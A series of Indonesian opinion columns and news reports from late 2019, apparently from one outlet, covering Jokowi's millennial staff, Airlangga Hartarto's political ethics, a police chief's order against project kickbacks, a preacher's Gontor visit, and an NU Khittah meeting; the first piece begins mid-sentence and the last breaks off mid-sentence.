anak-anak milenial suka nongkrong di kafe-kafe dan restoran. Menghabiskan waktu berjam-jam dengan gadget (smartphone, tablet, laptop, dll). Milenial dituduh menghancurkan berbagai industri tradisional. Milenial juga dicap sesukahati. Ada yang mengatakan ‘over-sensitivity’ (terlalu sensitif). Candu smartphone, dan banyak lagi julukan lain. Sekarang kita coba pahami obesesi Jokowi terhadap kaum milenial. Apa yang ingin dia peroleh dari pengangkatan tujuh staf khusus yang berpredikat milenial itu? Zuckerberg, Systrom, dan Durov adalah anak-anak milenial yang membuat revolusi dalam cara berkomunikasi. Mereka membuatkan Facebook, Instagram dan Telegram sebagai media komunikasi yang menyenangkan. Dan gratis. Tapi, ketiga platform medsos ciptaan milenial ini bukanlah industri yang riil. Yang mereka buat adalah produk jasa untuk mempercepat, mempermurah, mempermudah dan memperluas komunikasi. Tidakkah hebat produk-produk jasa komunikasi ciptaan Zuckerberg, Systrom, dan Durov? Tentu sangat luarbiasa. Ratusan juta orang merasakan kemudahan. Namun, perlu kita lihat latar belakang perekonomian di negara mereka. Amerika Serikat atau Rusia, tempat ketiga milenial hebat ini bermukim, boleh dikatakan sudah mencapai puncak dalam inovasi perangkat keras (hardware). Mereka sudah selesai melakukan “revolusi hardware”. Sebut saja, industri hardware bidang mana yang belum mereka kuasai? Otomotif? Penerbangan? Pertanian? Elektronika? Perminyakan darat (onshore) dan laut (offshore)? Apalagi? Industri persenjataan? Alat-alat kedokteran? Permesinan? Alat-alat berat, dlsb? Space industry (industri antariksa), termasuk persatelitan, berserta industri-industri pendukungnya, dll? Semua negara maju, termasuk Jepang dan Korea Selatan, sudah mapan di bidang-bidang ini. Bahkan sudah mencapai titik jenuh. Artinya apa? Artinya, industri hardware (perangkat keras) mereka sudah sangat kuat. Mereka menguasai pasar global. Ketika mereka beranjak ke industri software (perangkat lunak), termasuk yang berbasis internet yang di dalamnya ada berbagai platform medsos tadi, negara-negara maju tidak punya masalah sama sekali dengan industri hardware. Bagaimana dengan kita? Adakah kita punya industri otomotif asli (bukan perakitan atau assembling)? Anda bisa jawab Esemka bin Changan. Boleh jugalah. Punyakah kita pabrik elektronik inovasi sendiri? Polytron, barangkali? Bisa jadi. Semoga ini benar-benar merk nasional Indonesia. Terus, apakah ada di sini pabrik alat-alat berat? Ingat, cangkul saja masih diimpor dari RRC. Apakah ada pabrik senjata berat? PT Pindad baru bisa bikin senapan serbu, pistol, dan rompi antipeluru. Ada juga peluncur granat. Lumayanlah. Nah, masih banyak inovasi yang diperlukan untuk indutsri hardware negara ini. Artinya, Indonesia masih jauh di belakang dalam perangkat keras. Untuk semua bidang industri. Konyolnya, hari ini para penguasa berlomba-lomba genit dalam menggunakan terminologi “milenial”. Seolah-olah kita akan segera menyamai kedudukan negara-negara maju begitu para milenial dipajang kabinet Jokowi. Dari tujuh stafsus milenial itu, paling-paling yang bisa memberikan masukan berharga adalah Adamas Belva Syah Devara. Itu pun kalau masukan akan ditindaklanjuti. Anak muda 29 tahun ini memiliki bisnis aplikasi pendidikan, “Ruangguru”. Aplikasi ini yang bisa memberikan kontribusi untuk kemajuan bidang pendidikan. Stafsus milenial lainnya yang mungkin bisa berperan adalah Gracia Billy Mambrasar. Berasal dari Papua. Sama seperti Belva, Gracia bisa membantu akselerasi bidang pendidikan di Papua. Saya khawatir, Jokowi hanya terperangah oleh maraknya jualan online lewat aplikasi, termasuk Go-Jek. Dia mungkin terkagum-kagum oleh bisnis jasa pembayaran (payment online) yang juga menggunakan aplikasi. Boleh kagum. Tapi, jasa transaksi online (software) itu sifatnya hanya memudahkan dan memurahkan. Itu tidak akan membuat negara menjadi kuat tanpa hardware sistem pertahanan yang kuat. Tidak akan membebaskan rakyat dari kelaparan dan kekurangan gizi kalau hardware pertanian dan kelautan tidak kuat. Tidak akan melepaskan Indonesia dari tabiat importasi segala macam keperluan kalau hardware perindustrian tidak kuat. Jadi, agak mencemaskan juga obsesi Jokowi terhadap milenial. Betapa tidak? Begitu dia melihat milenial bisa menyelenggarakan event dengan bantuan aplikasi, Jokowi menjadi terpukau. Diangkat Putri Tanjung menjadi stafsus. Begitu dia melihat jasa transportasi bisa dimudahkan dan dimurahkan dengan aplikasi, dia angkat Nadiem Makarim menjadi Mendikbud. Padahal, yang menjadi masalah adalah fasilitas pendidikan, cara pendidikan dikelola, dan kesempatan. Nadiem dan Putri menikmati itu secara sempurna di Amerika. Andaikata anak-anak Indonesia lainnya bisa punya kesempatan itu, mungkin sejak dulu Indonesia ini sudah menjadi “negara aplikasi”.[] 26 November 2019 Penulis wartawan senior.

Airlangga Hartarto, Antara Etika Politik & Kekuasaan

Sebelumnya Bank Dunia pada 9 September 2019 lalu, telah membocorkan prediksinya atas ketahanan ekonomi Indonesia. Lembaga keuangan duinia ini meperkirakan ekonomi Indonesia akan memburuk ke depan. Tetapatnya pada tahun 2020 nanti kondisi itu terjadi. By Dr. Syahganda Nainggolan Jakarta, FNN - Setelah ditunjuk jadi Menko Perekonomian, Airlangga Hartarto (AH) berencana mempertahankan kekuasaannya untuk memimpin Partai Golkar (PG). Perebutan Ketua Umum PG ini telah menjadi kosentrasi utama AH belakangan ini. Setidaknya mungkin untuk beberapa saat. Namun bisa juga untuk selama lima tahun ke depan. Pembicaraan kita pada tulisan ini adalah melihat sisi moral politik atau etika dari AH. Seharusnya sisi moral dan etika ini dimiliki oleh AH sebagai pejabat tinggi Negara. Sebab yang saat ini AH bertanggung jawab menyelamatkan ekonomi 260 juta rakyat Indonesia. Mengapa isu ini harus harus dimunculkan? Karena begitu penting dan strategis. Kenapa dia harus membelah segala energi dan kosentrasinya. Sebagai kepala kementerian di bidang ekonomi, AH harus mengurus perekonomian nasional. Namun sebagai Ketua Umum PG, dia juga harus memikirkan kemenangan partainya Golkar pada Pemilu 2024 nanti. Itulah permasalahan yang sangat krusial Krisis Ekonomi Professor Stiglitz, eks ekonom legendaris World Bank, dalam wawancaranya dengan Euro News TV, pada 14 November 2019 lalu, mengatakan bahwa ekonomi dunia, di mana-mana sedang stagnan. Dia merespon pertanyaan pewawancara terkait padangan presiden Prancis, Macron, yang menyebut ekonomi dunia dalam keadaan krisis (unprecedented crisis). Ketika Stiglitz ditanya apakah akan kembali mengabdi pada politik?, dia menjawab ya. Jika Capres Partai Demokrat mengalahkan Trump, di pemilu presiden Amerika tahun depan. Secara moral, Stiglitz menunjukkan bahwa orang-orang hebat harus turun gunung memberi konsultasi pada sebuah pemerintahan, agar situasi ekonomi dapat membaik. Krisis ekonomi dunia maupun stagnan dalam istilah Stiglitz telah menjadi pembicaraan seluruh tokoh-tokoh dunia, dan ekonom kelas dunia. World Bank-IMF telah memprediksi pertumbuhan ekonomi dunia hanya sekitar 3%, tahun ini. Turun dari 3,6% tahun lalu. Sebuah survei telah dilakukan terhadap 226 ekonom, dan ahli seluruh dunia. Penyelenggara survey adalah “The National Association of Bussiness Economics". Lembaga ini menyatakan bahwa 38% meyakini resesi terjadi tahun depan di Amerika. Sedangkan 34% lagi meyakini resesi akan terjadi di nanti pada tahun 2021. China sendiri sudah memasuki perlambatan ekonomi. Pertumbuhan ekonomi China diprediksi hanya sekitar 5,8%. Jauh dari kejayaan lama China yang selalu dua digit. Kedua negara adidaya ini punya hubungan ekonomi, perdagangan, investasi dan politik yang kuat dengan Indonesia. Bagaimana Ekonomi Indonesia? Sebelumnya Bank Dunia pada 9 September 2019 lalu, telah membocorkan prediksinya atas ketahanan ekonomi Indonesia. Lembaga keuangan duinia ini meperkirakan ekonomi Indonesia akan memburuk ke depan. Tetapatnya pada tahun 2020 nanti kondisi itu terjadi. Entah karena Airlangga Hartarto sibuk dengan Golkar. Namun lihatlah fenomena ini, Deputi yang mewakili AH memberi ceramah progresif pada Indonesia Bussiness Forum, 20 November 2019, menyatakan bahwa Indonesia akan mengejar pertumbuhan ekonomi 7% selama 5 tahun "steady growth". Dan akan mencapai total GDP U$ 7 Triliun (https://en.tempo.co/read/1274589/indonesia-pursuing-us7tn-gdp-7-growth). Ini adalah sebuah ironi akal sehat. Karena seluruh dunia dan pelaku bisnis terkait Indonesia, justru sedang kosentrasi melihat rilis bocoran Bank Dunia tersebut. Bahwa ekonomi Indonesia tidak mencapai 5% tahun ini. Setelah itu menurun lagi tahun depan 4,9%. Lalu menurun lagi tahun 2022 hanya 4,6%. Lembaga Pengembangan Ekonomi dan Manejemen Universitas Indonesia (LPEM UI) juga dalam Economy Outlooks 2020 memperkuat sinyal perlambatan ekonomi Indonesia ini. Kondisi ini diperparah dengan indikasi yang dikeluarkan pemerintah terkait buruknya pendapatan pajak. Buruknya ekonomi kita ke depan menunjukkan pemimpin negara harus mempunyai "senses of crisis". Pengertian tentang sense of crisis adalah : Pertama, memikirkan penghematan anggaran (Austerity Policy). Apakah menggemukkan kementerian dengan belasan Wamen itu bukan simbol penghamburan uang pembayar pajak? Apakah mengangkat stafsus Presiden kelas magang, bukan simbol pemborosan? Kedua, membuat program-program yang realistis. Projek-proyek mercusuar sudah harus di stop. Ketiga, berorientasi pada pwenciptaan lapangan kerja. Sebab krisis ekonomi akan menghantam sisi lapangan kerja. Pemerintah harus bekerja keras memikirkan projek-proyek yang tepat untuk "labor intensive" selama situasi krisis. Keempat, harus bebas dari Korupsi. Pemerintah harus meningkatkan ancaman terhadap koruptor yang lebih keras lagi. Bila perlu dengan memberlakukan hukuman mati kepada para pejabat negara yang terbukti melakukan koruptor dalam masa lima tahun ke depan. Etika Airlangga Hartarto Kenapa kita persoalkan masalah etika ini? Isu etika politik telah dibahas sejak lama. Sejak jaman Aristotles, Plato dan Socrates. Yang paling ekstrim dalam soal etika adalah Machiavelli, dari Florence. Namun, semua pembicaraan mereka penting untuk dikaitkan dengan kebajikan seseorang dalam ruang publik. Moralitas politik seseorang tidak lagi miliki hak individual ketika orang tersebut telah menjadi pejabat publik. Professor Emeritus Arthur Dobrin dalam "3 Approaches to Ethics: Principles, Outcomes and Integrity" (psychologytoday. com) mengetengahkan tiga jenis etik yang perlu kita lihat, yakni "Virtue Ethics, Consequentialist Ethics dan Deontological Ethics". Virtue Ethics terkait kebajikan yang ingin dicapai seseorag, secara pribadi. Consequentialist Ethics terkait pertanyaan "What is good". Etik jenis ini sudah menyangkut hubungan perbuatan kita terhadap orang lain. Apa dampak perbuatan kita itu pada masyarakat. Sedang Deontological Ethics terkait pertanyaan "What is rights”? Hal ini berhubungan dengan pertanyaan: "What duties do I owe? How do I decide between conflicting duties”? Etik jenis ini juga sudah berhubungan dengan perbuatannya terhadap orang lain. Jadi, urusan etika bukan hanya urusan pribadi seseorang, melainkan juga urusan kita semua. apalagi untuk pejabat publik seperti Airlangga Hartarto yang menjabat Menteri Koordinator Perekonomian. Urusan Airlangga Hartarto menjadi penting kita kaitkan dengan etika untuk melihat integritas dan moral politik dia dalam kehidupan publik. Dahulu, ketika Hatta Rajasa, merangkap Menko Perekonomian dan Ketua Partai, selama 2010-2014, trend pertumbuhan ekonomi terus menurun selama lima tahun. Ironisnya, sebaliknya pencapaian jumlah suara partainya meningkat. Namun, situasi ekonomi saat itu masih "menguntungkan". Karena trend ekonomi dunia belum seburuk saat ini. Lalu, apakah tega seorang Airlangga Hartarto membagi kosentrasinya untuk 260 juta rakyat yang membutuhkan kepastian dan kestabilan ekonomi, dengan urusan partai yang membutuhkan perhatiannya untuk memenangkan pilkada 2020 dan berbagai urusan lainnya? Jika melihat peliknya situasi ekonomi ke depan, fokus Airlangga seharusnya tertuju pada penyelamatan ekonomi naisonal. Hal ini hanya bisa dilakukan apabila 100% kehidupan dia ditujukan pada usaha itu. Quote terkenal dari Manuel Quezon, mantan Presiden Filipina, "My Loyalty to my party ends when my loyalty to my country begins". Quote ini sangat penting menunjukkan integritas dan moralitas politik seseorang pejabat publik. Namun, sayangnya, tetap saja bagi orang politik. Godaan etika politik ajaran Machiavelli, "rebut dan pertahankan kekuasaan dengan segala cara", sangat menggoda. Penutup Situasi ekonomi dunia memburuk. World Bank sudah memprediksi pertumbuhan ekonomi kita juga terus menurun. Pada saat bersamaan ADB (Asia Development Bank) merilis 20 juta rakyat kita kelaparan. Lalu apakah etik menteri kordinator perekonomian memecah kosentrasinya antara urusan bangsa versus urusan partai? Dimana etika Airlangga dalam politik kekuasaan? Kita lihat segera ke depan. Apa yang akan dipilihnya? Apakah dia tetap bertahan untuk maju sebagai calon ketua umum Golkar pada Munas Golkar bulan Desember 2019 ? Ataukah memilih kosentrasi pada penyelamatan ekonomi bangsa? Hal itu terpulang pada seorang Airlangga Hartarto. Namun, ingatlah bahwa manusia pada akhirnya akan lebih dikenang integritas dan moral politiknya, ketimbang politisi tanpa etika Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Luar Biasa, Kapolri Potong Jatah Proyek Polisi di Pemda

Untuk menjaga keamanan dari pelapor, Idham bakal melindungi kerahasiaan identitas dari perlapor. Dengan catatan, laporan yang disampaikan harus sesuai dengan ketentuan yang berlaku. Misalnya, sesuai dengan kebenaran fakta kejadian yang sebenarnya. Artinya, laporan tersebut bukanlah dari hasil mengarang bebas. By Kisman Latumakulita Jakarta, FNN – Sudah dua puluh enam hari, Jendral Polisi Drs. Idham Azis menjabat sebagai Kapolri. Idham Azis dilantik sebagai Kapolri oleh Presiden Jokowi di Istana Negara pada hari Jumat, tanggal 01 November 2019. Tentu saja belum banyak yang bisa dinilai dari pekerjaan Jendral Idham Azis selama dua puluh enam hari masa jabatannya tersebut. Beberapa pembenahan kecil telah dilakukan Idham Azis ke dalam internal polisi. Hanya pembenahan kecil, namun cukup untuk membuat kita terperangah, dan terkaget-kaget antara percaya dan tidak percaya. Akhirnya, kita menjadi kagum kepada kebijakan Kapolri pengganti Tito Karnavian ini. Bagaimana tidak. Jendral Idham membuat kebijakan tergolong langka. Dia memotong atau menghilangkan salah satu sumber pendapatan para oknum Kapolsek, Kapolres dan Kapolda di seluruh wilayah Indonesia. Padahal rantai sumber reziki tersebut sudah dinikmati. Juga sudah berlansung puluhan tahun lamanya. Paling kurang sejak reformasi 1998 bergulir sampai sekarang. Namun tanggal 15 November 2019 lalu, kebijakan langka itu dibuat. Jendral Idham mengeluarkan Surat Kapolri, dengan Nomor : R/2029/XI/2019. Surat tersebut ditujukan kepada para Gubernur, Bupati dan Walikota seluruh Indonesia. Isinya mengenai “Koordinasi Pelaksanaan Tugas Polri Dalam Penegakan Hukum dan Penyelanggaraan Pemerintahan Daerah”. Inti dari Surat Kapolri yang ditandatangi oleh Kadivpropam Irjen Polisi Drs. Listyo Sigit Prabowo tersebut, adalah himbauan kepada para Gubernur, Bupati dan Walikota agar tidak melayani atau memfasilitasi segala bentuk pemintaan uang atau barang yang dilakukan oleh anggota polisi di daerah. Mulai dari tingkat Polsek, Polres sampai Polda. Luar biasa berekelas dan hebat kebijakan Kapolri yang satu ini. Bukan itu saja. Jendral Idham juga mengingatkan jajaran Pemerintah Daerah seluruh Indonesia, agar menolak segala bentuk intimidasi atau intervensi dari anggota polisi terhadap pelaksanaan pekerjaan proyek di lingkungan Pemerintah Daerah. Peringatan ini berlaku juga terhadap siapa saja yang mebawa-bawa atau mengatasnamakan intitusi Polri. Jika ada yang mencoba-coba melanggar himbauan ini, Jendral Idham berjanji untuk memberikan sanksi tegas kepada anggotanya. Idham tidak akan pandang bulu atau pilah-pilih pelakunya. Siapa pun orangnya bakal disikat, baik itu anggota polisi maupun yang mereka yang mengaku atau mengatasnamakan intitusi polisi. Lagi-lagi luar biasa Kapolri yang bersuku Bugis ini. Untuk tujuan itu, Idham menghimbau Pemerintah Daerah agar melaporkan anggota polisi yang suka minta-minta proyek di daerah. Untuk memperlancar laporan dari masyakat itu, telah disediakan Sentra Pelayanan Prompam (Bagyanduan Divpropam Polri) di Markas Besar Polisi, di jalan Trunojoyo No.3, Jakarta Selatan. Laporan bisa disampaikan melalui call center atau WhatsApp (WA), dengan nomor kontak 081384682019. Selain itu, bisa juga melalui email dengan alamat ke : divropampolri@yahoo.co.id Guna mendukung pengawasan terhadap pengaduan masyarakat, Idham mengharapkan informasi laporan disertai dengan data-data yang valid. Misalnya, indentitas pelapor, indentitas dari terlapor, serta data pendukung yang relevan, khususnya yang terkait dengan proyek atau permintaan dana. Untuk menjaga keamanan dari pelapor, Idham bakal melindungi kerahasiaan identitas perlapor. Dengan catatan, laporan yang disampaikan harus sesuai dengan ketentuan yang berlaku. Misalnya, sesuai dengan kebenaran fakta kejadian yang sebenarnya. Artinya, laporannya bukan dari hasil mengarang bebas. Coklat Tua dan Muda Kebijakan Jendral Idham agar Pemerintah Daerah tidak memberikan fasilitas, baik berupa dana atau jatah proyek kepada anggota polisi di semua tingkatan kewilayah ini, tentu saja tidak popular di mata anggota polisi. Namun kebijakan tersebut pasti sangat disukai, disenangi dan berkelas di mata masyarakat. Kebijakan tersebut harus memotong dan menghentikan sumber reziki anggota polisi yang berlangsung berpuluh-puluh tahun. Tentu saja ini bukanlah kebijakan asal-asalan. Jendral Idham pasti sudah pertimbangkan dengan matang dampak yang bakal timbul. Tidak ada pilihan lain bagi Jendral Idham. Kebiasaan buruk ini harus dihentikan dari sekarang. Jendral Idham sudah sangat mengerti dan paham dengan praktek jatah-jatahan proyek untuk komandan polisi di daerah ini. Apalagi Idham pernah menjadi Kapolres dan Kapolda. Sebuah kebijakan kecil saja dari Kapolri. Namun sangat berdampak secara positif terhadap output pembangunan di daerah secara keseluruhan. Publik harusnya mendukung sepenuhnya kebijakan Jendral Idham tersebut. Sudah bukan rahasia lagi, bahwa di daerah ada para oknum Kapolres, Kepala Kerjaksaan Negeri (Kajari) Kapolda dan Kepala Kejaksaan Tinggi (Kajati) mempunyai jatah proyek dari Anggaran Pendapatan dan Belanja Daerah (APBD). Jatahnya itu selalu ada pada setiap tahun anggaran. Tinggal jatah itu mau diambil atau tidak? Mau digunakan atau tidak? Terpulang kepada para komandan masing-masing. Pada beberapa provinsi di Pulau Sumatera, para pejabat pada Satuan Kerja Perangkat Daerah (SKPD), dan pimpinan proyek punya sandi khusus terkait jatah proyek ini. Mereka menyebut jatah proyek untuk para oknum Kapolres, Kajari, Kapolda dan Kajati itu dengan nama tertentu. Misalnya, “proyek itu punyanya coklat tua, dan proyek itu jatahnya coklat muda”. Kalau coklat tua adalah jatah proyek untuk oknum Kajari dan Kajati. Sedangkan coklat muda adalah jatah proyek untuk oknum polisi Kapolres dan Kapolda. Biasanya jatah proyek seperti ini dikerjakan oleh pemborong yang menjadi teman dekatnya coklat tua atau coklat muda. Yang punya jatah proyek biasa mendapatkan fee yang berpariasi antara 10% - 20%. Tragisnya lagi, terkadang nilai proyeknya belum dibahas atau disetujui oleh DPRD dan Pemerintah Daerah. Namun sipemborong sudah memberikan fee di depan antara 5% - 10% kepada coklat tua maupun coklat muda sebagai pemilik jatah proyek. Dampak negatif dari adanya jatah-jatahan proyek untuk oknum coklat tua dan oknum coklat muda ini adalah berkurangnya kualitas proyek. Hasilnya bisa di bawah standar atau spect. Akibatnya, dalam kurum waktu tidak terlalu lama, antara satu sampai dua tahun saja, proyeknya sudah rusak. Tidak lagi bisa dipakai. Padahal anggaran yang digunakan untuk proyek tersebut mungkin saja tidak kecil. Selian itu, SKPD merasa bakal mendapat perlindungan dari oknum coklat tua maupun coklat muda. Dampaknya, proyek-proyek lain, yang tidak terkait dengan coklat tua dan coklat muda sekalipun, bisa asal-asalan pekerjaannya. Kualitasnya tidak harus sesuai dengan spect. Karena SKPD tidak lagi khatir atau takut bakal diperiksa oleh coklat tua mapun coklat muda terkait proyek di daerah tersebut. Luar biasa. Hanya dalam lima belas hari sejak menjabat Kapolri, Jendral Idham telah mebuat kebijakan kecil, tetapi bermanfaat sangat besar. Hanya pembenahan ke dalam internal intitusi polisi. Namun berdampak secara strategis dan ekonomis terhadap keseluruhan pembangunan di tanah air. Kualitas pembangunan di daerah diharapkan semakin membaik nantinya. Kebocoran juga bisa dicegah atau diminimalisir. Semoga SKPD dan pimpinan proyek, tidak perlu takut kepada cokalt tua maupun coklat muda. Mereka juga tidak perlu menyiapkan jatah proyek dari APBD untuk coklat tua dan coklat muda. Harapannya, pengerjaan proyek bisa diawasi coklat tua dan coklat muda dengan baik dan benar. Untuk itu, kita juga berharap agar Jaksa Agung TB Burhanudin melakukan hal yang sama. Kebijakan kecil yang dibuat Jendral Idham ini, bisa diikuti oleh Jaksa Agung. Sehingga bukan saja oknum coklat muda yang tidak lagi kebagian jatah proyek dari Pemerintah Daerah. Harapannya oknum coklat tua (Jaksa) juga mendapat perlakuan yang sama dengan oknum coklat muda dari para SKPD dan pimpinan proyek di Pemerintah Daerah. Nantinya sama-sama tidak lagi mendapatkan jatah proyek. Semoga bisa terealisasi. Insya Allaah, amin amin amin. Penulis adalah Wartawan Senior

Suntikan Semangat dari Gontor untuk Dakwah UAS

Oleh Iriani Pinontoan Jakarta, FNN - Sejak Sabtu hingga Ahad subuh, UAS berada di lingkungan Pondok Pesantren Modern Gontor, Ponorogo,Jawa Timur. Ada yang berbeda dari tiap ceramah UAS. Untuk santri putra beda. Putri pun beda. Apalagi kuliah umumnya di hadapan para intelekrual dan santri modern. Tampaknya UAS sangat siap bicara dengan konten berat, ilmiah. Meskipun UAS tidak ingin masuk pada tradisi dan peradaban Gontor, berjas dan bersarung, UAS tetap pada pilihan penampilannya. Peci, baju koko dan celana panjang (tidak cungkring lho ya) serta sorban. Kali ini sorban pilihannya merah, sama seperti ketika berceramah di KPK. Banyak pesan disampaikan dalam ceramah dengan tema yang sudah ditetapkan. Konon sambil berkelakar, kata UAS ceramah harus sesuai tema, kalau tidak ingin dilaporkan. "Beberapa kali saya berceramah ditolak, dihadang bahkan yang mengundang pun dilaporkan." Ada kegusaran mendalam. Lewat introspeksi dan pertanyaan ke diri sendiri, sekali,dua kali, tiga kali bisa menimbulkan keraguan. Jangan-jangan ada yang salah dari penyampaian UAS. Padahal, jika berceramah, berbondong-bondong orang datang mendengar tauziahnya. Jutaan umat seluruh Indonesia, minimal pernah datang duduk di ta'limnya. Belum lagi jutaan lain melihat lewat internet. Subhanallah. UAS, ustad fenomenal. Sejak ustad sejuta umat Zainuddin MZ pergi,ustad Jefry Buchori pergi dan ustad Arifin Ilham pergi,inilah ustad dengan jamaah puluhan juta. Di mana pun diundang orang datang dua tiga jam sebelumnya hanya untuk dapat tempat terbaik. Bolak balik Riau daratan Sumatera, Jawa hingga Kalimantan UAS menyuarakan tentang persatuan dan kesatuan sepanjang Oktober-November. Belum lagi di Malaysia dan Brunai Darussalam. Seperti tak lelah UAS mengajak orang tua memasukkan anaknya ke pesantren. Benteng terakhir menjaga anak dari kerusakan akibat narkoba, seks bebas, dan dampak buruk dunia maya. Kepada umat juga dianjurkan untuk bersedekah bagi pendirian masjid maupun pesantren sebagai bekal akhirat. Khusus di Gontor dukungan kuat pimpinan Ponpes Gontor, KH.Hasan A.Sahal serta Rektor Universitas Darussalam Gontor membuat ceramah UAS berapa-api, sarat makna, berisi, berkualitas. Meskipun keinginan KH.Sahal agar UAS berceramah usai subuh selama 2 jam dan hanya dipenuhi 1 1/2 jam..namun seluruh isinya In sya Allah menjadi bekal santri ketika terjun di masyarakat. Tegakkan amar ma'ruf dan nahi mungkar tapi tidak lupa watu'minuna billah. Support Gontor akan meneguhkan UAS ...terus tegak berdiri berceramah untuk umat yang kini sedang haus dan terguncang pada kehidupan kebangsaan membingungkan.Terus dan teruslah penuhi undangan dan keinginan umat. Insya Allah UAS mendapat ridho dan keberkahan Allah SWT. Wallahu 'alam bisshowab. Penulis wartawan senior.

Catatan Penting Hasil Komite Khittah NU 26 di Situbondo

Oleh Mochamad Toha Surabaya, FNN - Pondok Pesantren Salafiyah Syafi’iyah, Sukorejo, Situbondo kembali menjadi saksi penting dalam penegakan khittah Nahdlatul Ulama (NU). Sekitar 35 tahun lalu, tepatnya 1984, di pesantren ini pula, keputusan penting kembali ke Khittah 1926, ditetapkan. Pengasuh PP Salafiyah Syafi’iyah, KHR Achmad Azaim Ibrahimy, cucu pahlawan nasional Almaghfurlah KHR As’ad Syamsul Arifin, menjadi tuan rumah pertemuan dzurriyah muassis NU, masyayikh, habaib dan ulama Jatim dalam rangka menegaskan pengertian Khittah NU. Kegiatan diadakan, Kamis 21 November 2019, di auditorium putra. Menghadirkan banyak tokoh penting, seperti Prof. DR KH Ahmad Zahro, Prof. DR Rochmat Wahab, DR Marzuki Ali, Gus Hilmi Ash-Shiddiqi, KHR Achmad Azaim Ibrahimy, dan KH Afifuddin Muhajir. Tak ketinggalan pula pengurus harian pesantren, petinggi Universitas Ibrahimy dari Kabid, Kabag, Rektorat, dan Dekanat turut hadir dalam acara tersebut. Silaturrahim ini menghasilkan sembilan rumusan penting. Pertama. Sebagai prinsip pergerakan dan pengabdian, khittah secara substantif sejatinya sudah digariskan Hadratusysyaikh KH Hasyim Asya’ri, yakni kembali pada garis perjuangan para ulama salafussholihin, sebagaimana doa yang biasa kita panjatkan kepada Allah SWT. “Untuk itu, khittah sebagai garis perjuangan perlu diaktualisasikan kembali dalam rangka jam’iyah diniyah wa ijtima’iyah,” ungkap Ustadz Muhammad Ali yang didaulat sebagai juru bicara Komite Khittah NU 26 ini. Kedua. Melalui gerakan kultural ini, majelis silaturrahim mengajak kepada semua warga Nahdlatul Ulama untuk selalu melakukan muhasabah terhadap fenomena ke-NU-an yang terjadi selama ini. Menurut Ustadz Ali, tindakan koreksi diri ini menjadi penting dijalankan, karena tak ada kesempurnaan dalam hidup setiap manusia. Selain prinsip ini, kita semua juga memiliki kepedulian dan keberpihakan kepada jamiyah NU agar menjalankan organisasi sebagai sarana ibadah perjuangan dan pengabdian kepada Allah SWT. Ketiga. Jangan jadikan organisasi NU sebagai alat untuk memuluskan kepentingan pragmatis pribadi dengan menjauhkan prinsip perjuangan yang telah dibangun oleh para muassis NU. Keempat. Niat tulus dan ikhlas dalam memperjuangkan NU, hanya mengharap target keridhoan Allah SWT. Jika ada diantara kita, baik yang menjadi pengurus maupun tidak, melakukan tindakan yang tidak sejalan dengan garis perjuangan NU, maka, tegurlah dengan benar dan sabar, sebagaimana prinsip watawa shaubil haq watawa shaubish shabr. “Permusyawaratan dalam tubuh NU sebagai jam’iyah harus mendasarkan pada prinsip dan nilai-nilai yang dibangun para muassis NU,” tutur Ustadz Ali. Kelima. Untuk mengembalikan prinsip-prinsip permusyawaratan tersebut, maka dalam setiap penyelenggaraan permusyawaratan di berbagai tingkatan, agar tidak menggunakan cara-cara yang tidak terpuji, seperti mempengaruhi musyawirin dengan politik uang. Fenomena-fenomena politik uang setiap permusyawaratan tentu saja tidak berjalan secara tunggal, ada keterlibatan pihak lain yang ingin memanfaatkan NU secara pragmatis. “Jika ini masih terjadi dan terus dipertontonkan para pengurus, kami khawatir NU akan kehilangan wibawa dan kharismanya sebagai jam’iyah diniyah wa ijtima’iyah,” tegas Ustadz Ali. Keenam. Forum meminta kepada PBNU agar melakukan kerja koreksi dan seleksi terhadap penyimpangan-penyimpangan akidah, karena ada dugaan penyusupan atas penyimpangan akidah yang tidak sejalan dengan akidah dan prinsip-perinsip ahlussunannah waljamaah di tubuh jam’iyah NU. Ketujuh. Kepada seluruh warga NU yang berperan dalam politik dan penyelenggaran pemerintahan, tetap istiqomah memperjuangkan amanah NU, sehingga NU tidak hanya dijadikan alat perebutan kekuasaan, tetapi harus bermanfaat secara umum, maslahah amah. Kedelapan. Perlu memperkuat fungsi kelembagaan mustasyar di jam’iyah NU, sehingga apabila terdapat penyalahgunaan kewenangan dalam jabatan kepengurusan, bisa mendapat teguran dan sanksi oleh seluruh anggota mustasyar. “PBNU hendaknya mengelola NU menjadi jam’iyyah ashabul haq wal ‘adl jangan mengubah menjadi jam’iyah ashabul qoror,” tegas Ustadz Ali. Kesembilan. Menghimbau kepada seluruh warga nahdliyyin agar selalu istiqomah membaca wirid Ya jabbar ya qohhar. KitaSatu Hati Istilah Khittah NU memang telah populer saat muktamar NU ke-27 di Situbondo pada 1984. Namun, jauh sebelum itu, telah disebutkan oleh pendiri NU, Hadratusysyaikh KH Hasyim Asya’ri dalam Qonun Asasi NU yang ditulisnya. “Bahwa ketika NU sudah tidak lagi berada dalam garisnya, harus kembali ke khittati salaf, garis para sahabat, tabiin, tabiit tabiin dengan ihsan (kebaikan) hingga hari kiamat,” ungkap KHR Ahmad Azaim Ibrahimy. Hal itu disampaikan Pengasuh PP Salfiyah Syafi’iyah Sukorejo Situbondo ini, dalam Silaturahmi Dzuriyah Masyayikh, Ulama, Kiai, dan Habib yang didakan oleh Komite Khittah 1926 NU (KK26NU) di PP tersebut pada Rabu (21/10/2019). Dalam kesempatan itu, cucu Kiai As’ad tersebut menyebut bahwa terselenggaranya acara ini, berangkat dari amanah mulia dari penggagas KK26NU, KH Salahuddin Wahid. “Bahwa apa yang kita cita-citakan kita satu hati, merindukan jam’iyah NU kembali kepada ajaran pokok semula yang dituturkan dan dipraktikkan oleh pendiri dan pendahulu yang kemudian disebut dengan Khittah,” ungkapnya. Ia juga menyebut bahwa perjuangan dalam mengembalikan NU pada khittahnya, sudah sejak KH Hasyim Asy’ari. Menurut Gus Abdurrahman Hasan Genggong bahwa dalam kitabnya Kiai Hasyim menjelaskan arah perjuangan jamiyah NU bahwa ketika NU sudah tidak sesuai dengan yang digariskan, maka harus kembali kepada Khittati Salaf. “Khittati Salaf ini ya para ulama salaf, yaitu sahabat, tabiin, tabiit tabiin, tapi ada biihsanin ila yaumiddin. Segala sesuatu itu harus biihsan. Untuk sekarang ini biihsan kita, mengembalikan NU kepada khittahnya,” tambahnya. Ia memaparkan pada Khittah NU juga sudah popular pada 1950-an oleh KH Ahyat Chalimi, pada 1962 di Solo, pada 1971 oleh KH Wahab Chasbullah, pada 1981 oleh KH Ahmad Shiddiq, KH As’ad Syamsul Arifin dan sejumlah pemuda NU di 